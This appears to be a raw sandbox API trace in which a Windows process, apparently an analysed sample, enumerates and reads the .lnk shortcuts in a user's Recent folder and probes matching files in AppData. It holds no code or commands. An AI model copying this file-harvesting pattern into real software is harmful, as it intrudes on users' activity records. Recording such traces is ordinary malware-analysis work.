[0076.529] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.530] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3d7940, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e3d7940, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e3d7940, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="2nK3ie.lnk", cAlternateFileName="")) returned 1 [0076.530] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\29qIuqRP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2nK3ie.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2nK3ie.lnk") returned 1 [0076.530] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2nK3ie.lnk", len=0x52 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2nK3ie.lnk") returned 1 [0076.530] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2nK3ie.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2nK3ie.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2nK3ie.lnk") returned 1 [0076.530] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk", len=0x51 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk") returned 1 [0076.530] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2nK3ie.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk") returned 1 [0076.530] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk", len=0x51 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk") returned 1 [0076.530] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk") returned 1 [0076.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2nk3ie.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.530] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x3dc [0076.530] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c08c, nNumberOfBytesToRead=0x3dc, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c08c*, lpNumberOfBytesRead=0x18e2f8*=0x3dc, lpOverlapped=0x0) returned 1 [0076.531] CloseHandle (hObject=0x3f8) returned 1 [0076.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2nK3ie.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2nk3ie.gif"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.531] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0xe4f [0076.531] CloseHandle (hObject=0x3f8) returned 1 [0076.531] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a4220, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9dd97f80, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dd97f80, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x138a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2qASZGVP1ayqj.lnk", cAlternateFileName="2QASZG~1.LNK")) returned 1 [0076.531] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2nK3ie.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2qASZGVP1ayqj.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2qASZGVP1ayqj.lnk") returned 1 [0076.531] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2qASZGVP1ayqj.lnk", len=0x59 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2qASZGVP1ayqj.lnk") returned 1 [0076.531] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2qASZGVP1ayqj.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2qASZGVP1ayqj.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2qASZGVP1ayqj.lnk") returned 1 [0076.531] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk", len=0x58 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk") returned 1 [0076.532] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2qASZGVP1ayqj.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk") returned 1 [0076.532] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk", len=0x58 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk") returned 1 [0076.532] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk") returned 1 [0076.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2qaszgvp1ayqj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.532] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x138a [0076.532] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c104, nNumberOfBytesToRead=0x138a, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c104*, lpNumberOfBytesRead=0x18e2f8*=0x138a, lpOverlapped=0x0) returned 1 [0076.533] CloseHandle (hObject=0x3f8) returned 1 [0076.533] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.533] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4aad00, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d4aad00, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d4aad00, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xa79, dwReserved0=0x0, dwReserved1=0x0, cFileName="2toarBW5rlEiNoO5.lnk", cAlternateFileName="2TOARB~1.LNK")) returned 1 [0076.533] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2qASZGVP1ayqj.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2toarBW5rlEiNoO5.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2toarBW5rlEiNoO5.lnk") returned 1 [0076.533] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2toarBW5rlEiNoO5.lnk", len=0x5c | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2toarBW5rlEiNoO5.lnk") returned 1 [0076.533] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2toarBW5rlEiNoO5.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2toarBW5rlEiNoO5.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2toarBW5rlEiNoO5.lnk") returned 1 [0076.533] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk", len=0x5b | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk") returned 1 [0076.533] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\2toarBW5rlEiNoO5.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk") returned 1 [0076.533] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk", len=0x5b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk") returned 1 [0076.533] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk") returned 1 [0076.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2toarbw5rleinoo5.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.533] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xa79 [0076.533] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c170, nNumberOfBytesToRead=0xa79, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c170*, lpNumberOfBytesRead=0x18e2f8*=0xa79, lpOverlapped=0x0) returned 1 [0076.534] CloseHandle (hObject=0x3f8) returned 1 [0076.534] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.534] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bf3e700, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d96d900, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d96d900, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x134d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Us5nuIYL1u_RnPPuJ.lnk", cAlternateFileName="3US5NU~1.LNK")) returned 1 [0076.535] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2toarBW5rlEiNoO5.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3Us5nuIYL1u_RnPPuJ.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3Us5nuIYL1u_RnPPuJ.lnk") returned 1 [0076.535] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3Us5nuIYL1u_RnPPuJ.lnk", len=0x5e | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3Us5nuIYL1u_RnPPuJ.lnk") returned 1 [0076.535] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3Us5nuIYL1u_RnPPuJ.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3Us5nuIYL1u_RnPPuJ.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3Us5nuIYL1u_RnPPuJ.lnk") returned 1 [0076.535] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk", len=0x5d | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk") returned 1 [0076.535] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3Us5nuIYL1u_RnPPuJ.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk") returned 1 [0076.535] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk", len=0x5d | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk") returned 1 [0076.535] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk") returned 1 [0076.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3us5nuiyl1u_rnppuj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.535] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x134d [0076.535] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c1dc, nNumberOfBytesToRead=0x134d, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c1dc*, lpNumberOfBytesRead=0x18e2f8*=0x134d, lpOverlapped=0x0) returned 1 [0076.536] CloseHandle (hObject=0x3f8) returned 1 [0076.536] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.536] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5b8f00, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d993a60, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d993a60, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x981, dwReserved0=0x0, dwReserved1=0x0, cFileName="3ymkgwpUkCk.lnk", cAlternateFileName="3YMKGW~1.LNK")) returned 1 [0076.536] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3Us5nuIYL1u_RnPPuJ.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3ymkgwpUkCk.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3ymkgwpUkCk.lnk") returned 1 [0076.536] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3ymkgwpUkCk.lnk", len=0x57 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3ymkgwpUkCk.lnk") returned 1 [0076.536] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3ymkgwpUkCk.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3ymkgwpUkCk.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3ymkgwpUkCk.lnk") returned 1 [0076.536] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk", len=0x56 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk") returned 1 [0076.536] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\3ymkgwpUkCk.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk") returned 1 [0076.536] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk", len=0x56 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk") returned 1 [0076.537] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk") returned 1 [0076.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3ymkgwpukck.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.537] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x981 [0076.537] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c230, nNumberOfBytesToRead=0x981, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c230*, lpNumberOfBytesRead=0x18e2f8*=0x981, lpOverlapped=0x0) returned 1 [0076.538] CloseHandle (hObject=0x3f8) returned 1 [0076.538] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.538] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da05e80, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9da05e80, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9da05e80, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x1459, dwReserved0=0x0, dwReserved1=0x0, cFileName="4qhj.lnk", cAlternateFileName="")) returned 1 [0076.538] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3ymkgwpUkCk.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\4qhj.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\4qhj.lnk") returned 1 [0076.538] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\4qhj.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\4qhj.lnk") returned 1 [0076.538] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\4qhj.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\4qhj.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\4qhj.lnk") returned 1 [0076.538] 